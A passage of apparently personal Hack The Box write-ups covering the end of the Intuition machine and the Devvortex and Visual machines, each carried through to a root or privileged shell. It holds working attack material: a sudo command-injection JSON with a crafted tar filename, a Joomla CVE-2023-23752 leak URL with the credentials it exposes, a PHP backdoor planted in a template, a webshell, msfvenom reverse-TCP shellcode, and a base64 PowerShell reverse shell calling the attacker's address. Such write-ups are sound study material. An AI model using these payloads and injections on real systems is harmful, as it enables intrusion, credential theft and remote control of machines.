eve.json.8.gz:{"timestamp":"2023-09-28T17:43:36.099184+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:43:52.999165+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"PASS","command_data":"Lopezzz1992%123","completion_code":["530"],"reply":["Authentication failed."],"reply_received":"yes"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:43:58.799539+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":3,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"QUIT","completion_code":["221"],"reply":["Goodbye."],"reply_received":"yes"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:47:27.172398+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"alert","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","alert":{"action":"allowed","gid":1,"signature_id":2001,"rev":2001,"signature":"FTP Failed Login Attempt","category":"","severity":3},"app_proto":"ftp","app_proto_tc":"failed","flow":{"pkts_toserver":10,"pkts_toclient":10,"bytes_toserver":708,"bytes_toclient":771,"start":"2023-09-28T17:43:32.969173+0000"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:47:27.173121+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"flow","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","app_proto":"ftp","app_proto_tc":"failed","flow":{"pkts_toserver":10,"pkts_toclient":10,"bytes_toserver":708,"bytes_toclient":771,"start":"2023-09-28T17:43:32.969173+0000","end":"2023-09-28T17:43:58.799628+0000","age":26,"state":"closed","reason":"timeout","alerted":true},"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","tcp":{"tcp_flags":"1b","tcp_flags_ts":"1b","tcp_flags_tc":"1b","syn":true,"fin":true,"psh":true,"ack":true,"state":"closed"}}
dev_acc@intuition:/var/log/suricata$ zgrep "1218304978677234" *.gz
eve.json.8.gz:{"timestamp":"2023-09-28T17:44:32.130222+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":0,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"completion_code":["220"],"reply":["pyftpdlib 1.5.7 ready."],"reply_received":"yes"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:44:32.133372+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:44:48.188361+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"PASS","command_data":"Lopezz1992%123","completion_code":["230"],"reply":["Login successful."],"reply_received":"yes"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:44:48.188882+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":3,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"SYST","completion_code":["215"],"reply":["UNIX Type: L8"],"reply_received":"yes"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:44:48.189137+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":4,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"completion_code":["211"],"reply":["Features supported:"," EPRT"," EPSV"," MDTM"," MFMT"," MLST type*;perm*;size*;modify*;unique*;unix.mode;unix.uid;unix.gid;"," REST STREAM"," SIZE"," TVFS"," UTF8"],"reply_received":"yes"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:44:50.305618+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":5,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"EPSV","completion_code":["229"],"reply":["Entering extended passive mode (|||35389|)."],"dynamic_port":35389,"reply_received":"yes"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:44:50.307049+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":6,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"LIST","completion_code":["125","226"],"reply":["Data connection already open. Transfer starting.","Transfer complete."],"reply_received":"yes"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:45:32.648919+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":7,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"QUIT","completion_code":["221"],"reply":["Goodbye."],"reply_received":"yes"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:45:32.648990+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"alert","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","alert":{"action":"allowed","gid":1,"signature_id":2001,"rev":2001,"signature":"FTP Failed Login Attempt","category":"","severity":3},"app_proto":"ftp","app_proto_tc":"failed","flow":{"pkts_toserver":18,"pkts_toclient":15,"bytes_toserver":1259,"bytes_toclient":1415,"start":"2023-09-28T17:44:27.224754+0000"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:49:34.537400+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"alert","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","alert":{"action":"allowed","gid":1,"signature_id":2001,"rev":2001,"signature":"FTP Failed Login Attempt","category":"","severity":3},"app_proto":"ftp","app_proto_tc":"failed","flow":{"pkts_toserver":18,"pkts_toclient":15,"bytes_toserver":1259,"bytes_toclient":1415,"start":"2023-09-28T17:44:27.224754+0000"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:49:34.537668+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"flow","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","app_proto":"ftp","app_proto_tc":"failed","flow":{"pkts_toserver":18,"pkts_toclient":15,"bytes_toserver":1259,"bytes_toclient":1415,"start":"2023-09-28T17:44:27.224754+0000","end":"2023-09-28T17:45:32.648990+0000","age":65,"state":"closed","reason":"timeout","alerted":true},"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","tcp":{"tcp_flags":"1b","tcp_flags_ts":"1b","tcp_flags_tc":"1b","syn":true,"fin":true,"psh":true,"ack":true,"state":"closed"}}
from the first one the password is Lopezzz1992%123 and it didn’t work, but the second password Lopezz1992%123 worked and we code ssh as lopez.
shell as root
starting by finding which commands can be run as root
lopez@intuition:~$ sudo -l
[sudo] password for lopez:
Matching Defaults entries for lopez on intuition:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User lopez may run the following commands on intuition:
(ALL : ALL) /opt/runner2/runner2
It seems to be another version of runner program we saw before
Let’s try to run it
lopez@intuition:~$ sudo /opt/runner2/runner2
[sudo] password for lopez:
Usage: /opt/runner2/runner2 <json_file>
I created an empty json file with just {} and ran it again.
lopez@intuition:~$ sudo /opt/runner2/runner2 ./tst.json
Run key missing or invalid.
from the error we know that there’s a key called run so let’s make the content of json something like this {"run":"true"} and i got the same error.
After many trials i got a new error when the content of json became {"run":{}}
lopez@intuition:~$ sudo /opt/runner2/runner2 ./tst.json
[sudo] password for lopez:
Action key missing or invalid.
I added the action key and after trials i found that the values will be the actions we saw in the runner1.c list, run, install so i made the json to be {"run":{"action":"list"}}.
lopez@intuition:~$ sudo /opt/runner2/runner2 ./tst.json
1: apt_update.yml
Now it works well, let’s try install action by making the json content to be {"run":{"action":"install"}}
lopez@intuition:~$ sudo /opt/runner2/runner2 ./tst.json
Authentication key missing or invalid for 'install' action.
Authentication key is what we got by hashcat so i tried to add it but i faced errors also.
Now we will reverse runner2 in order to understand the format of the json file
undefined8 main(int param_1,undefined8 *param_2)
{
int iVar1;
FILE *__stream;
long lVar2;
int *piVar3;
int *piVar4;
char *pcVar5;
undefined8 uVar6;
DIR *__dirp;
dirent *pdVar7;
int local_80;
char *local_78;
if (param_1 != 2) {
printf("Usage: %s <json_file>\n",*param_2);
return 1;
}
__stream = fopen((char *)param_2[1],"r");
if (__stream == (FILE *)0x0) {
perror("Failed to open the JSON file");
return 1;
}
lVar2 = json_loadf(__stream,2,0);
fclose(__stream);
if (lVar2 == 0) {
fwrite("Error parsing JSON data.\n",1,0x19,stderr);
return 1;
}
piVar3 = (int *)json_object_get(lVar2,&DAT_00102148);
if ((piVar3 == (int *)0x0) || (*piVar3 != 0)) {
fwrite("Run key missing or invalid.\n",1,0x1c,stderr);
}
else {
piVar4 = (int *)json_object_get(piVar3,"action");
if ((piVar4 == (int *)0x0) || (*piVar4 != 2)) {
fwrite("Action key missing or invalid.\n",1,0x1f,stderr);
}
else {
pcVar5 = (char *)json_string_value(piVar4);
iVar1 = strcmp(pcVar5,"list");
if (iVar1 == 0) {
listPlaybooks();
}
else {
iVar1 = strcmp(pcVar5,"run");
if (iVar1 == 0) {
piVar3 = (int *)json_object_get(piVar3,&DAT_00102158);
piVar4 = (int *)json_object_get(lVar2,"auth_code");
if ((piVar4 != (int *)0x0) && (*piVar4 == 2)) {
uVar6 = json_string_value(piVar4);
iVar1 = check_auth(uVar6);
if (iVar1 != 0) {
if ((piVar3 == (int *)0x0) || (*piVar3 != 3)) {
fwrite("Invalid \'num\' value for \'run\' action.\n",1,0x26,stderr);
}
else {
iVar1 = json_integer_value(piVar3);
__dirp = opendir("/opt/playbooks/");
if (__dirp == (DIR *)0x0) {
perror("Failed to open the playbook directory");
return 1;
}
local_80 = 1;
local_78 = (char *)0x0;
while (pdVar7 = readdir(__dirp), pdVar7 != (dirent *)0x0) {
if ((pdVar7->d_type == '\b') &&
(pcVar5 = strstr(pdVar7->d_name,".yml"), pcVar5 != (char *)0x0)) {
if (local_80 == iVar1) {
local_78 = pdVar7->d_name;
break;
}
local_80 = local_80 + 1;
}
}
closedir(__dirp);
if (local_78 == (char *)0x0) {
fwrite("Invalid playbook number.\n",1,0x19,stderr);
}
else {
runPlaybook(local_78);
}
}
goto LAB_00101db5;
}
}
fwrite("Authentication key missing or invalid for \'run\' action.\n",1,0x38,stderr);
json_decref(lVar2);
return 1;
}
iVar1 = strcmp(pcVar5,"install");
if (iVar1 == 0) {
piVar3 = (int *)json_object_get(piVar3,"role_file");
piVar4 = (int *)json_object_get(lVar2,"auth_code");
if ((piVar4 != (int *)0x0) && (*piVar4 == 2)) {
uVar6 = json_string_value(piVar4);
iVar1 = check_auth(uVar6);
if (iVar1 != 0) {
if ((piVar3 == (int *)0x0) || (*piVar3 != 2)) {
fwrite("Role File missing or invalid for \'install\' action.\n",1,0x33,stderr);
}
else {
uVar6 = json_string_value(piVar3);
installRole(uVar6);
}
goto LAB_00101db5;
}
}
fwrite("Authentication key missing or invalid for \'install\' action.\n",1,0x3c,stderr);
json_decref(lVar2);
return 1;
}
fwrite("Invalid \'action\' value.\n",1,0x18,stderr);
}
}
}
LAB_00101db5:
json_decref(lVar2);
return 0;
}
void _fini(void)
{
return;
}
This is the main function and we are interested also in install role function which is here
void installRole(undefined8 param_1)
{
int iVar1;
long in_FS_OFFSET;
char local_418 [1032];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
iVar1 = isTarArchive(param_1);
if (iVar1 == 0) {
fwrite("Invalid tar archive.\n",1,0x15,stderr);
}
else {
snprintf(local_418,0x400,"%s install %s","/usr/bin/ansible-galaxy",param_1);
system(local_418);
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return;
}
after code examination i reached that the json file should be like this:
{
"run": {
"action": "install",
"role_file":"<path/to/tar file>"
},
"auth_code": "UHI75GHINKOP"
}
and the command injection will be the name of the role file
We will create the file using tar -cvf tar_file_name file_to_be_compressed.
lopez@intuition:~$ tar -cvf tst.tar\;bash tst.json
tst.json
and the content of tst.json is
{
"run": {
"action": "install",
"role_file":"tst.tar\;bash"
},
"auth_code": "UHI75GHINKOP"
}
Then run sudo /opt/runner2/runner2 ./tst.json and you will get shell as root
root@intuition:/home/lopez# whoami
root
root@intuition:/home/lopez# cat /root/root.txt
*******************************d
Congratzz
-
Devvortex
Description
Solution
Recon
Applying nmap scan
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/devvortex]
└─$ nmap -sV -sC -Pn -oA devvortex 10.10.11.242
Nmap scan report for 10.10.11.242
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
we see that there’s a web service on port 80 and there’s a domain devvortex.htb should be submitted in /etc/hosts file
when we add the domain to /etc/hosts we can visit the site now
After examining the site you won’t find any interesting thing so let’s do more reconnaisance.
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/devvortex]
└─$ gobuster dir -u http://10.10.11.242/ -w ~/Desktop/tools/SecLists/Discovery/Web-Content/raft-small-directories.txt -b 302
but I got no useful results, so let’s try subdomain enumeration
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/devvortex]
└─$ ffuf -u http://10.10.11.242 -H "Host: FUZZ.devvortex.htb" -w ~/Desktop/tools/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
dev [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 153ms]
shell as www-data
We found a subdomain here which is dev.devvortex.htb. let’s add it to /etc/hosts file and visit the subdomain.
After examining the site you won’t find any interesting thing also so let’s do more reconnaisance.
I found interesting endpoints in /robots.txt endpoint.
when you visit /administrator endpoint you will find login page powered by joomla cms.
You can find tips for joomla pentesting here.
you will find in the link above that /administrator/manifests/files/joomla.xml endpoint let’s you know the version of joomla.
We see that the version is v4.2.6 which we can find that it’s vulnerable to CVE-2023-23752.
You can find many articles about the cve here as example and from them i appended /api/index.php/v1/config/application?public=true to the url and got this
Nice we got credentials lewis:P4ntherg0t1n5r3c0n## which will be used to login to joomla dashboard.
continue reading in this and you will find what you should do next.
You should go to system and you will find many templates i choosed Administrator Templates and find many files.
I opened index.php and added this line system($_GET['cmd']); so when i visit this http://dev.devvortex.htb/administrator/index.php?cmd=whoami I see www-data which is the result of whoami command in the beginning of the site
Nice we have RCE let’s get a shell.
setting up a listerner at port 4444
┌──(youssif㉿youssif)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
and i went to revshells for the reverse shell payload.
You can use many php shells as the payload will be inserted in php code (I used pentest monkey php shell) added it to index.php file in the admin templates and i got the shell as www-data
shell as logan
stablize the shell using python3 -c "import pty;pty.spawn('/bin/bash)"
If you remember the article of the CVE we used, The credentials are usually for MYSQL db and when we use the command ss -tulpn we find that port 3306 is used which is the default for MYSQL.
Let’s access MYSQL db
www-data@devvortex:/$ mysql -u lewis -p
mysql -u lewis -p
Enter password: P4ntherg0t1n5r3c0n##
We accessed the db successfully and after digging into it we found sd4fg_users table in joomla database
mysql> select username,password from sd4fg_users;
select username,password from sd4fg_users;
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| lewis | $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u |
| logan | $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 |
+----------+--------------------------------------------------------------+
2 rows in set (0.00 sec)
we have two users with two hashed passwords i tried to crack them but only the password of the user logan is cracked successfully.
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/devvortex]
└─$ john hash --show
?:t************
1 password hash cracked, 0 left
I used this password in ssh ssh logan@10.10.11.242
and congrats u are logan now
logan@devvortex:~$ ls
user.txt
logan@devvortex:~$ cat user.txt
1*******************************
shell as root
logan@devvortex:~$ sudo -l
[sudo] password for logan:
Matching Defaults entries for logan on devvortex:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User logan may run the following commands on devvortex:
(ALL : ALL) /usr/bin/apport-cli
We find that there’s a command you can execute using sudo
I found that this command is vulnerable to privesc here.
Briefly you will walkthrough the choices until you get view report which will be opened in a less page as root so you can execute !/bin/bash as root and now you are root.
root@devvortex:/home/logan# cd /root
root@devvortex:~# cat root.txt
b*******************************
I wish the walkthrough helped you ^^
-
Visual
Description
Solution
Recon
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/visual]
└─$ nmap -sV -sC -Pn -oA nmap/visual 10.10.11.234
# Nmap 7.92 scan initiated Sat Sep 30 21:32:35 2023 as: nmap -sV -sC -Pn -oA visual 10.10.11.234
Nmap scan report for 10.10.11.234
Host is up (0.18s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-title: Visual - Revolutionizing Visual Studio Builds
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Sep 30 21:33:23 2023 -- 1 IP address (1 host up) scanned in 48.53 seconds
shell as enox
When we open the site http://10.10.11.234 we get this
As said the site can accept a repo of dotnet6 and it will trust the project we sent, execute it and send the DLL back as example
first i wanted to test it using a random C# project repo but note that we can’t submit the url of the repo directly and this because the lan at which the HTB machine exists isn’t connected to Internet so we need to submit this repo over the lan.
After searching i found this article about how to serve a repo over http.
I created a simple C# project that prints hello world xDDD and uploaded this repo on github. Its path is https://github.com/YoussifSeliem/visualHTB then i cloned this repo into my machine git clone https://github.com/YoussifSeliem/visualHTB
Then let’s start as in article
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/visual/tst]
└─$ git --bare clone visualHTB repo-http
cd repo-http/.git
git --bare update-server-info
mv hooks/post-update.sample hooks/post-update
cd ..
python -m http.server 8000
Then I submitted the repo into the site by submitting this link http://10.10.16.81:8000/.git/, then i got this
Now we need to move forward in this machine and we can make use of the way the project is handled by the site as it’s got trusted and executed.
After searching i found many useful articles like MSBuild & evilSLN.
I used MSBuild exploit, it makes use of the fact that visual studio uses MSBuild.
Briefly, we can say that MSBuild is an engine that provides an XML schema for a project file that controls how the build platform processes and builds software.
In our case the .csprog file contains MSBuild XML code.
I moved as in the article and created the shell code using
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/visual]
└─$ msfvenom -p windows/shell/reverse_tcp lhost=10.10.16.81 lport=4444 -f csharp
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of csharp file: 1825 bytes
byte[] buf = new byte[354] {
0xfc,0xe8,0x8f,0x00,0x00,0x00,0x60,0x31,0xd2,0x89,0xe5,0x64,0x8b,0x52,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x8b,0x72,0x28,
0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0x49,
0x75,0xef,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,
0x85,0xc0,0x74,0x4c,0x01,0xd0,0x8b,0x58,0x20,0x01,0xd3,0x50,0x8b,0x48,0x18,
0x85,0xc9,0x74,0x3c,0x31,0xff,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xc0,0xc1,
0xcf,0x0d,0xac,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,
0x75,0xe0,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,
0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,
0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xe9,0x80,0xff,0xff,0xff,0x5d,
0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,
0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,
0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x68,0x0a,0x0a,0x10,0x51,0x68,0x02,
0x00,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,
0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,
0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x67,0x00,0x00,
0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,
0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,
0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,
0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x68,0x00,
0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,
0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0x0f,0x85,0x70,0xff,
0xff,0xff,0xe9,0x9b,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc1,0xc3,0xbb,
0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5 };
I made the payload shell rather than meterpreter because in this machine the AntiVirus detected the meterpreter and closed the connection.
Add the generated shell code to the .csproj file as shown in the article and this is our modified repo we will submit it again to the site.
don’t forget to set up a listener in msfconsole
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/shell/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.16.81
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > exploit
Then you will get the connection
C:\Windows\Temp\591812c6a390d3b1c93cef7b9d4df5\ConsoleApp1>whoami
whoami
visual\enox
I found on the system there is only enox user then i went to its Desktop to get the user flag
C:\Users\enox\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 82EF-5600
Directory of C:\Users\enox\Desktop
06/10/2023 12:10 PM <DIR> .
06/10/2023 12:10 PM <DIR> ..
02/23/2024 03:07 AM 34 user.txt
1 File(s) 34 bytes
2 Dir(s) 9,479,344,128 bytes free
C:\Users\enox\Desktop>type user.txt
type user.txt
7******************************
shell as local service
After navigation in the machine we can see C:\xampp\htdocs which is the root of web directory this gives us an idea of getting shell from it because the web service possess ImpersonatePrivilege permissions. These permissions can potentially be exploited for privilege escalation.
To get shell as local service i created a simple webshell
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
Then i uploaded it to this path C:\xampp\htdocs\uploads and then accessed the shell from the site like this
It works so Let’s get the shell as the local service.
We can use rev shell generator and from it i choosed powershell#3 (base64), then i set up the listener and send this payload in the url
http://10.10.11.234/uploads/shell.php?cmd=powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AOAAxACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
and we got the shell
connect to [10.10.16.81] from (UNKNOWN) [10.10.11.234] 49960
whoami
nt authority\local service
PS C:\xampp\htdocs\uploads> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
shell as root
As we see SeImpersonatePrivilege doesn’t exist and this moves us to use FullPower that helps in recovering the privilages.
After Downloading the tool and sending it to the victim machine we can use it to get a shell as the local service but with full privilages like this
